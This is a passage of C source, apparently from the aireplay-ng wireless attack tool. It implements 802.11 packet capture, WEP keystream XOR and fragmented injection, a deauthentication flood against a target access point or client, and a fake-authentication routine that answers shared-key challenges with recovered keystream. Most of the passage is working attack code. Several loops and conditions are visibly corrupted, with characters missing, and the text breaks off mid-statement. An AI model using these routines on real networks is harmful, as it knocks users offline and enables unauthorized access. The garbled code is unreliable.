rc = wi_read(wi, buf, count, ri); if (rc == -1) { switch (errno) { case EAGAIN: return 0; } perror("wi_read()"); return -1; } return rc; } void read_sleep( unsigned long usec ) { struct timeval tv, tv2, tv3; int caplen; fd_set rfds; gettimeofday(&tv, NULL); gettimeofday(&tv2, NULL); tv3.tv_sec=0; tv3.tv_usec=10000; while( ((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) < (usec) ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv3 ) < 0 ) { continue; } if( FD_ISSET( dev.fd_in, &rfds ) ) caplen = read_packet( h80211, sizeof( h80211 ), NULL ); gettimeofday(&tv2, NULL); } } int filter_packet( unsigned char *h80211, int caplen ) { int z, mi_b, mi_s, mi_d, ext=0, qos; if(caplen <= 0) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) { qos = 1; /* 802.11e QoS */ z+=2; } if( (h80211[0] & 0x0C) == 0x08) //if data packet ext = z-24; //how many bytes longer than default ieee80211 header /* check length */ if( caplen-ext < opt.f_minlen || caplen-ext > opt.f_maxlen ) return( 1 ); /* check the frame control bytes */ if( ( h80211[0] & 0x0C ) != ( opt.f_type << 2 ) && opt.f_type >= 0 ) return( 1 ); if( ( h80211[0] & 0x70 ) != (( opt.f_subtype << 4 ) & 0x70) && //ignore the leading bit (QoS) opt.f_subtype >= 0 ) return( 1 ); if( ( h80211[1] & 0x01 ) != ( opt.f_tods ) && opt.f_tods >= 0 ) return( 1 ); if( ( h80211[1] & 0x02 ) != ( opt.f_fromds << 1 ) && opt.f_fromds >= 0 ) return( 1 ); if( ( h80211[1] & 0x40 ) != ( opt.f_iswep << 6 ) && opt.f_iswep >= 0 ) return( 1 ); /* check the extended IV (TKIP) flag */ if( opt.f_type == 2 && opt.f_iswep == 1 && ( h80211[z + 3] & 0x20 ) != 0 ) return( 1 ); /* MAC address checking */ switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } if( memcmp( opt.f_bssid, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_b, opt.f_bssid, 6 ) != 0 ) return( 1 ); if( memcmp( opt.f_smac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_s, opt.f_smac, 6 ) != 0 ) return( 1 ); if( memcmp( opt.f_dmac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_d, opt.f_dmac, 6 ) != 0 ) return( 1 ); /* this one looks good */ return( 0 ); } int wait_for_beacon(unsigned char *bssid, unsigned char *capa, char *essid) { int len = 0, chan = 0, taglen = 0, tagtype = 0, pos = 0; unsigned char pkt_sniff[4096]; struct timeval tv,tv2; char essid2[33]; gettimeofday(&tv, NULL); while (1) { len = 0; while (len < 22) { len = read_packet(pkt_sniff, sizeof(pkt_sniff), NULL); gettimeofday(&tv2, NULL); if(((tv2.tv_sec-tv.tv_sec)*1000000UL) + (tv2.tv_usec-tv.tv_usec) > 10000*1000) //wait 10sec for beacon frame { return -1; } if(len <= 0) usleep(1); } if (! memcmp(pkt_sniff, "\x80", 1)) { pos = 0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = pkt_sniff[pos]; taglen = pkt_sniff[pos+1]; } while(tagtype != 3 && pos < len-2); if(tagtype != 3) continue; if(taglen != 1) continue; if(pos+2+taglen > len) continue; chan = pkt_sniff[pos+2]; if(essid) { pos = 0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = pkt_sniff[pos]; taglen = pkt_sniff[pos+1]; } while(tagtype != 0 && pos < len-2); if(tagtype != 0) continue; if(taglen <= 1) { if (memcmp(bssid, pkt_sniff+10, 6) == 0) break; else continue; } if(pos+2+taglen > len) continue; if(taglen > 32)taglen = 32; if((pkt_sniff+pos+2)[0] < 32 && memcmp(bssid, pkt_sniff+10, 6) == 0) { break; } /* if bssid is given, copy essid */ if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) == 0) { memset(essid, 0, 33); memcpy(essid, pkt_sniff+pos+2, taglen); break; } /* if essid is given, copy bssid AND essid, so we can handle case insensitive arguments */ if(bssid != NULL && memcmp(bssid, NULL_MAC, 6) == 0 && strncasecmp(essid, (char*)pkt_sniff+pos+2, taglen) == 0 && strlen(essid) == (unsigned)taglen) { memset(essid, 0, 33); memcpy(essid, pkt_sniff+pos+2, taglen); memcpy(bssid, pkt_sniff+10, 6); printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to given ESSID \"%s\".\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], essid); break; } /* if essid and bssid are given, check both */ if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) > 0) { memset(essid2, 0, 33); memcpy(essid2, pkt_sniff+pos+2, taglen); if(strncasecmp(essid, essid2, taglen) == 0 && strlen(essid) == (unsigned)taglen) break; else { printf("For the given BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\", there is an ESSID mismatch!\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); printf("Found ESSID \"%s\" vs. specified ESSID \"%s\"\n", essid2, essid); printf("Using the given one, double check it to be sure its correct!\n"); break; } } } } } if(capa) memcpy(capa, pkt_sniff+34, 2); return chan; } /** if bssid != NULL its looking for a beacon frame */ int attack_check(unsigned char* bssid, char* essid, unsigned char* capa, struct wif *wi) { int ap_chan=0, iface_chan=0; iface_chan = wi_get_channel(wi); if(iface_chan == -1 && !opt.ignore_negative_one) { PCT; printf("Couldn't determine current channel for %s, you should either force the operation with --ignore-negative-one or apply a kernel patch\n", wi_get_ifname(wi)); return -1; } if(bssid != NULL) { ap_chan = wait_for_beacon(bssid, capa, essid); if(ap_chan < 0) { PCT; printf("No such BSSID available.\n"); return -1; } if((ap_chan != iface_chan) && (iface_chan != -1 || !opt.ignore_negative_one)) { PCT; printf("%s is on channel %d, but the AP uses channel %d\n", wi_get_ifname(wi), iface_chan, ap_chan); return -1; } } return 0; } int getnet( unsigned char* capa, int filter, int force) { unsigned char *bssid; if(opt.nodetect) return 0; if(filter) bssid = opt.f_bssid; else bssid = opt.r_bssid; if( memcmp(bssid, NULL_MAC, 6) ) { PCT; printf("Waiting for beacon frame (BSSID: %02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n", bssid[0],bssid[1],bssid[2],bssid[3],bssid[4],bssid[5],wi_get_channel(_wi_in)); } else if(strlen(opt.r_essid) > 0) { PCT; printf("Waiting for beacon frame (ESSID: %s) on channel %d\n", opt.r_essid,wi_get_channel(_wi_in)); } else if(force) { PCT; if(filter) { printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n"); } else { printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n"); } return( 1 ); } else return 0; if( attack_check(bssid, opt.r_essid, capa, _wi_in) != 0) { if(memcmp(bssid, NULL_MAC, 6)) { if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32) { printf( "Please specify an ESSID (-e).\n" ); } } if(!memcmp(bssid, NULL_MAC, 6)) { if(strlen(opt.r_essid) > 0) { printf( "Please specify a BSSID (-a).\n" ); } } return( 1 ); } return 0; } int xor_keystream(unsigned char *ph80211, unsigned char *keystream, int len) { int i=0; for (i=0; i 0 ) { tr = time( NULL ); printf( "\rRead %ld packets...\r", nb_pkt_read ); fflush( stdout ); } if( opt.s_file == NULL ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 1; tv.tv_usec = 0; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) continue; gettimeofday( &tv, NULL ); *caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( *caplen < 0 ) return( 1 ); if( *caplen == 0 ) continue; } else { /* there are no hidden backdoors in this source code */ n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = *caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); return( 1 ); } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) *caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } } nb_pkt_read++; if( filter_packet( h80211, *caplen ) != 0 ) continue; if(opt.fast) break; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; is_wds = 0; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; is_wds = 0; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; is_wds = 0; break; case 3: mi_t = 10; mi_r = 4; mi_d = 16; mi_s = 24; is_wds = 1; break; // WDS packet } printf( "\n\n Size: %d, FromDS: %d, ToDS: %d", *caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) ); if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 ) { // if (is_wds) key_index_offset = 33; // WDS packets have an additional MAC, so the key index is at byte 33 // else key_index_offset = 27; key_index_offset = z+3; if( ( h80211[key_index_offset] & 0x20 ) == 0 ) printf( " (WEP)" ); else printf( " (WPA)" ); } printf( "\n\n" ); if (is_wds) { printf( " Transmitter = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_t ], h80211[mi_t + 1], h80211[mi_t + 2], h80211[mi_t + 3], h80211[mi_t + 4], h80211[mi_t + 5] ); printf( " Receiver = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_r ], h80211[mi_r + 1], h80211[mi_r + 2], h80211[mi_r + 3], h80211[mi_r + 4], h80211[mi_r + 5] ); } else { printf( " BSSID = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_b ], h80211[mi_b + 1], h80211[mi_b + 2], h80211[mi_b + 3], h80211[mi_b + 4], h80211[mi_b + 5] ); } printf( " Dest. MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_d ], h80211[mi_d + 1], h80211[mi_d + 2], h80211[mi_d + 3], h80211[mi_d + 4], h80211[mi_d + 5] ); printf( " Source MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_s ], h80211[mi_s + 1], h80211[mi_s + 2], h80211[mi_s + 3], h80211[mi_s + 4], h80211[mi_s + 5] ); /* print a hex dump of the packet */ for( i = 0; i < *caplen; i++ ) { if( ( i & 15 ) == 0 ) { if( i == 224 ) { printf( "\n --- CUT ---" ); break; } printf( "\n 0x%04x: ", i ); } printf( "%02x", h80211[i] ); if( ( i & 1 ) != 0 ) printf( " " ); if( i == *caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) { for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) { printf( " " ); if( ( j & 1 ) != 0 ) printf( " " ); } printf( " " ); for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126 ) ? '.' : h80211[i - 15 + j] ); } if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) { printf( " " ); for( j = 0; j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127 ) ? '.' : h80211[i - 15 + j] ); } } printf( "\n\nUse this packet ? " ); fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) break; } if(!just_grab) { pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_src-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving chosen packet in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { fclose(f_cap_out); perror( "fwrite failed\n" ); return( 1 ); } pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = *caplen; pkh.len = *caplen; n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { fclose(f_cap_out); perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { fclose(f_cap_out); perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); } return( 0 ); } int read_prga(unsigned char **dest, char *file) { FILE *f; int size; if(file == NULL) return( 1 ); if(*dest == NULL) *dest = (unsigned char*) malloc(1501); f = fopen(file, "r"); if(f == NULL) { printf("Error opening %s\n", file); return( 1 ); } fseek(f, 0, SEEK_END); size = ftell(f); rewind(f); if(size > 1500) size = 1500; if( fread( (*dest), size, 1, f ) != 1 ) { fclose(f); fprintf( stderr, "fread failed\n" ); return( 1 ); } opt.prgalen = size; fclose(f); return( 0 ); } void add_icv(unsigned char *input, int len, int offset) { unsigned long crc = 0xFFFFFFFF; int n=0; for( n = offset; n < len; n++ ) crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; input[len] = (crc ) & 0xFF; input[len+1] = (crc >> 8) & 0xFF; input[len+2] = (crc >> 16) & 0xFF; input[len+3] = (crc >> 24) & 0xFF; return; } void send_fragments(unsigned char *packet, int packet_len, unsigned char *iv, unsigned char *keystream, int fragsize, int ska) { int t, u; int data_size; unsigned char frag[32+fragsize]; int pack_size; int header_size=24; data_size = packet_len-header_size; packet[23] = (rand() % 0xFF); for (t=0; t+=fragsize;) { //Copy header memcpy(frag, packet, header_size); //Copy IV + KeyIndex memcpy(frag+header_size, iv, 4); //Copy data if(fragsize <= packet_len-(header_size+t-fragsize)) memcpy(frag+header_size+4, packet+header_size+t-fragsize, fragsize); else memcpy(frag+header_size+4, packet+header_size+t-fragsize, packet_len-(header_size+t-fragsize)); //Make ToDS frame if(!ska) { frag[1] |= 1; frag[1] &= 253; } //Set fragment bit if (t< data_size) frag[1] |= 4; if (t>=data_size) frag[1] &= 251; //Fragment number frag[22] = 0; for (u=t; u-=fragsize;) { frag[22] += 1; } // frag[23] = 0; //Calculate packet length if(fragsize <= packet_len-(header_size+t-fragsize)) pack_size = header_size + 4 + fragsize; else pack_size = header_size + 4 + (packet_len-(header_size+t-fragsize)); //Add ICV add_icv(frag, pack_size, header_size + 4); pack_size += 4; //Encrypt xor_keystream(frag + header_size + 4, keystream, fragsize+4); //Send send_packet(frag, pack_size); if (t=data_size) break; } } int do_attack_deauth( void ) { int i, n; int aacks, sacks, caplen; struct timeval tv; fd_set rfds; if(getnet(NULL, 0, 1) != 0) return 1; if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 ) printf( "NB: this attack is more effective when targeting\n" "a connected wireless client (-c ).\n" ); n = 0; while( 1 ) { if( opt.a_count > 0 && ++n > opt.a_count ) break; usleep( 180000 ); if( memcmp( opt.r_dmac, NULL_MAC, 6 ) != 0 ) { /* deauthenticate the target */ memcpy( h80211, DEAUTH_REQ, 26 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); aacks = 0; sacks = 0; for( i = 0; i < 64; i++ ) { if(i == 0) { PCT; printf( "Sending 64 directed DeAuth. STMAC:" " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r", opt.r_dmac[0], opt.r_dmac[1], opt.r_dmac[2], opt.r_dmac[3], opt.r_dmac[4], opt.r_dmac[5], sacks, aacks ); } memcpy( h80211 + 4, opt.r_dmac, 6 ); memcpy( h80211 + 10, opt.r_bssid, 6 ); if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 2000 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_dmac, 6 ); if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 2000 ); while( 1 ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 0; tv.tv_usec = 1000; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) break; caplen = read_packet( tmpbuf, sizeof( tmpbuf ), NULL ); if(caplen <= 0 ) break; if(caplen != 10) continue; if( tmpbuf[0] == 0xD4) { if( memcmp(tmpbuf+4, opt.r_dmac, 6) == 0 ) { aacks++; } if( memcmp(tmpbuf+4, opt.r_bssid, 6) == 0 ) { sacks++; } PCT; printf( "Sending 64 directed DeAuth. STMAC:" " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r", opt.r_dmac[0], opt.r_dmac[1], opt.r_dmac[2], opt.r_dmac[3], opt.r_dmac[4], opt.r_dmac[5], sacks, aacks ); } } } printf("\n"); } else { /* deauthenticate all stations */ PCT; printf( "Sending DeAuth to broadcast -- BSSID:" " [%02X:%02X:%02X:%02X:%02X:%02X]\n", opt.r_bssid[0], opt.r_bssid[1], opt.r_bssid[2], opt.r_bssid[3], opt.r_bssid[4], opt.r_bssid[5] ); memcpy( h80211, DEAUTH_REQ, 26 ); memcpy( h80211 + 4, BROADCAST, 6 ); memcpy( h80211 + 10, opt.r_bssid, 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); for( i = 0; i < 128; i++ ) { if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 2000 ); } } } return( 0 ); } int do_attack_fake_auth( void ) { time_t tt, tr; struct timeval tv, tv2, tv3; fd_set rfds; int i, n, state, caplen, z; int mi_b, mi_s, mi_d; int x_send; int kas; int tries; int retry = 0; int abort; int gotack = 0; unsigned char capa[2]; int deauth_wait=3; int ska=0; int keystreamlen=0; int challengelen=0; int weight[16]; int notice=0; int packets=0; int aid=0; unsigned char ackbuf[14]; unsigned char ctsbuf[10]; unsigned char iv[4]; unsigned char challenge[2048]; unsigned char keystream[2048]; memset(iv, 0, sizeof(iv)); if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a source MAC (-h).\n" ); return( 1 ); } if(getnet(capa, 0, 1) != 0) return 1; if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32) { printf( "Please specify an ESSID (-e).\n" ); return 1; } memcpy( ackbuf, "\xD4\x00\x00\x00", 4 ); memcpy( ackbuf + 4, opt.r_bssid, 6 ); memset( ackbuf + 10, 0, 4 ); memcpy( ctsbuf, "\xC4\x00\x94\x02", 4 ); memcpy( ctsbuf + 4, opt.r_bssid, 6 ); tries = 0; abort = 0; state = 0; x_send=opt.npackets; if(opt.npackets == 0) x_send=4; if(opt.prga != NULL) ska=1; tt = time( NULL ); tr = time( NULL ); while( 1 ) { switch( state ) { case 0: if (opt.f_retry > 0) { if (retry == opt.f_retry) { abort = 1; return 1; } ++retry; } if(ska && keystreamlen == 0) { opt.fast = 1; //don't ask for approval memcpy(opt.f_bssid, opt.r_bssid, 6); //make the filter bssid the same, that is used for auth'ing if(opt.prga==NULL) { while(keystreamlen < 16) { capture_ask_packet(&caplen, 1); //wait for data packet z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; memcpy(iv, h80211+z, 4); //copy IV+IDX i = known_clear(keystream, &keystreamlen, weight, h80211, caplen-z-4-4); //recover first bytes if(i>1) { keystreamlen=0; } for(i=0;i= 2 ) { if(opt.npackets > 0) { tries++; if( tries > 15 ) { abort = 1; } } else { if( x_send < 256 ) { x_send *= 2; } else { abort = 1; } } if( abort ) { printf( "\nAttack was unsuccessful. Possible reasons:\n\n" " * Perhaps MAC address filtering is enabled.\n" " * Check that the BSSID (-a option) is correct.\n" " * Try to change the number of packets (-o option).\n" " * The driver/card doesn't support injection.\n" " * This attack sometimes fails against some APs.\n" " * The card is not on the same channel as the AP.\n" " * You're too far from the AP. Get closer, or lower\n" " the transmit rate.\n\n" ); return( 1 ); } state = 0; challengelen = 0; printf("\n"); } break; case 2: state = 3; tt = time( NULL ); /* attempt to authenticate using ska */ memcpy( h80211, AUTH_REQ, 30 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac , 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); h80211[1] |= 0x40; //set wep bit, as this frame is encrypted memcpy(h80211+24, iv, 4); memcpy(h80211+28, challenge, challengelen); h80211[28] = 0x01; //its always ska in state==2 h80211[30] = 0x03; //auth sequence number 3 fflush(stdout); if(keystreamlen < challengelen+4 && notice == 0) { notice = 1; if(opt.prga != NULL) { PCT; printf( "Specified xor file (-y) is too short, you need at least %d keystreambytes.\n", challengelen+4); } else { PCT; printf( "You should specify a xor file (-y) with at least %d keystreambytes\n", challengelen+4); } PCT; printf( "Trying fragmented shared key fake auth.\n"); } PCT; printf( "Sending encrypted challenge." ); fflush( stdout ); gotack=0; gettimeofday(&tv2, NULL); for( i = 0; i < x_send; i++ ) { if(keystreamlen < challengelen+4) { packets=(challengelen)/(keystreamlen-4); if( (challengelen)%(keystreamlen-4) != 0 ) packets++; memcpy(h80211+24, challenge, challengelen); h80211[24]=0x01; h80211[26]=0x03; send_fragments(h80211, challengelen+24, iv, keystream, keystreamlen-4, 1); } else { add_icv(h80211, challengelen+28, 28); xor_keystream(h80211+28, keystream, challengelen+4); send_packet(h80211, 24+4+challengelen+4); } if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); } break; case 3: /* waiting for an authentication response (using ska) */ if( time( NULL ) - tt >= 2 ) { if(opt.npackets > 0) { tries++; if( tries > 15 ) { abort = 1; } } else { if( x_send < 256 ) { x_send *= 2; } else { abort = 1; } } if( abort ) { printf( "\nAttack was unsuccessful. Possible reasons:\n\n" " * Perhaps MAC address filtering is enabled.\n" " * Check that the BSSID (-a option) is correct.\n" " * Try to change the number of packets (-o option).\n" " * The driver/card doesn't support injection.\n" " * This attack sometimes fails against some APs.\n" " * The card is not on the same channel as the AP.\n" " * You're too far from the AP. Get closer, or lower\n" " the transmit rate.\n\n" ); return( 1 ); } state = 0; challengelen=0; printf("\n"); } break; case 4: tries = 0; state = 5; if(opt.npackets == -1) x_send *= 2; tt = time( NULL ); /* attempt to associate */ memcpy( h80211, ASSOC_REQ, 28 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac , 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); n = strlen( opt.r_essid ); if( n > 32 ) n = 32; h80211[28] = 0x00; h80211[29] = n; memcpy( h80211 + 30, opt.r_essid, n ); memcpy( h80211 + 30 + n, RATES, 16 ); memcpy( h80211 + 24, capa, 2); PCT; printf( "Sending Association Request" ); fflush( stdout ); gotack=0; for( i = 0; i < x_send; i++ ) { if( send_packet( h80211, 46 + n ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); } break; case 5: /* waiting for an association response */ if( time( NULL ) - tt >= 5 ) { if( x_send < 256 && (opt.npackets == -1) ) x_send *= 4; state = 0; challengelen = 0; printf("\n"); } break; case 6: if( opt.a_delay == 0 && opt.reassoc == 0 ) { printf("\n"); return( 0 ); } if( opt.a_delay == 0 && opt.reassoc == 1 ) { if(opt.npackets == -1) x_send = 4; state = 7; challengelen = 0; break; } if( time( NULL ) - tt >= opt.a_delay ) { if(opt.npackets == -1) x_send = 4; if( opt.reassoc == 1 ) state = 7; else state = 0; challengelen = 0; break; } if( time( NULL ) - tr >= opt.delay ) { tr = time( NULL ); printf("\n"); PCT; printf( "Sending keep-alive packet" ); fflush( stdout ); gotack=0; memcpy( h80211, NULL_DATA, 24 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); if( opt.npackets > 0 ) kas = opt.npackets; else kas = 32; for( i = 0; i < kas; i++ ) if( send_packet( h80211, 24 ) < 0 ) return( 1 ); } break; case 7: /* sending reassociation request */ tries = 0; state = 8; if(opt.npackets == -1) x_send *= 2; tt = time( NULL ); /* attempt to reassociate */ memcpy( h80211, REASSOC_REQ, 34 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac , 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); n = strlen( opt.r_essid ); if( n > 32 ) n = 32; h80211[34] = 0x00; h80211[35] = n; memcpy( h80211 + 36, opt.r_essid, n ); memcpy( h80211 + 36 + n, RATES, 16 ); memcpy( h80211 + 30, capa, 2); PCT; printf( "Sending Reassociation Request" ); fflush( stdout ); gotack=0; for( i = 0; i < x_send; i++ ) { if( send_packet( h80211, 52 + n ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); } break; case 8: /* waiting for a reassociation response */ if( time( NULL ) - tt >= 5 ) { if( x_send < 256 && (opt.npackets == -1) ) x_send *= 4; state = 7; challengelen = 0; printf("\n"); } break; default: break; } /* read one frame */ FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 1; tv.tv_usec = 0; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) continue; caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( caplen < 0 ) return( 1 ); if( caplen == 0 ) continue; if( caplen == 10 && h80211[0] == 0xD4) { if( memcmp(h80211+4, opt.r_smac, 6) == 0 ) { gotack++; if(gotack==1) { printf(" [ACK]"); fflush( stdout ); } } } gettimeofday(&tv3, NULL); //wait 100ms for acks if ( (((tv3.tv_sec*1000000 - tv2.tv_sec*1000000) + (tv3.tv_usec - tv2.tv_usec)) > (100*1000)) && (gotack > 0) && (gotack < packets) && (state == 3) && (packets > 1) ) { PCT; printf("Not enough acks, repeating...\n"); state=2; continue; } if( caplen < 24 ) continue; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } /* check if the dest. MAC is ours and source == AP */ if( memcmp( h80211 + mi_d, opt.r_smac, 6 ) == 0 && memcmp( h80211 + mi_b, opt.r_bssid, 6 ) == 0 && memcmp( h80211 + mi_s, opt.r_bssid, 6 ) == 0 ) { /* check if we got an deauthentication packet */ if( h80211[0] == 0xC0 ) //removed && state == 4 { printf("\n"); PCT; printf( "Got a deauthentication packet! (Waiting %d seconds)\n", deauth_wait ); if(opt.npackets == -1) x_send = 4; state = 0; challengelen = 0; read_sleep( deauth_wait * 1000000UL ); deauth_wait += 2; continue; } /* check if we got an disassociation packet */ if( h80211[0] == 0xA0 && state == 6 ) { printf("\n"); PCT; printf( "Got a disassociation packet! (Waiting %d seconds)\n", deauth_wait ); if(opt.npackets == -1) x_send = 4; state = 0; challengelen = 0; read_sleep( deauth_wait ); deauth_wait += 2; continue; } /* check if we got an authentication response */ if( h80211[0] == 0xB0 && (state == 1 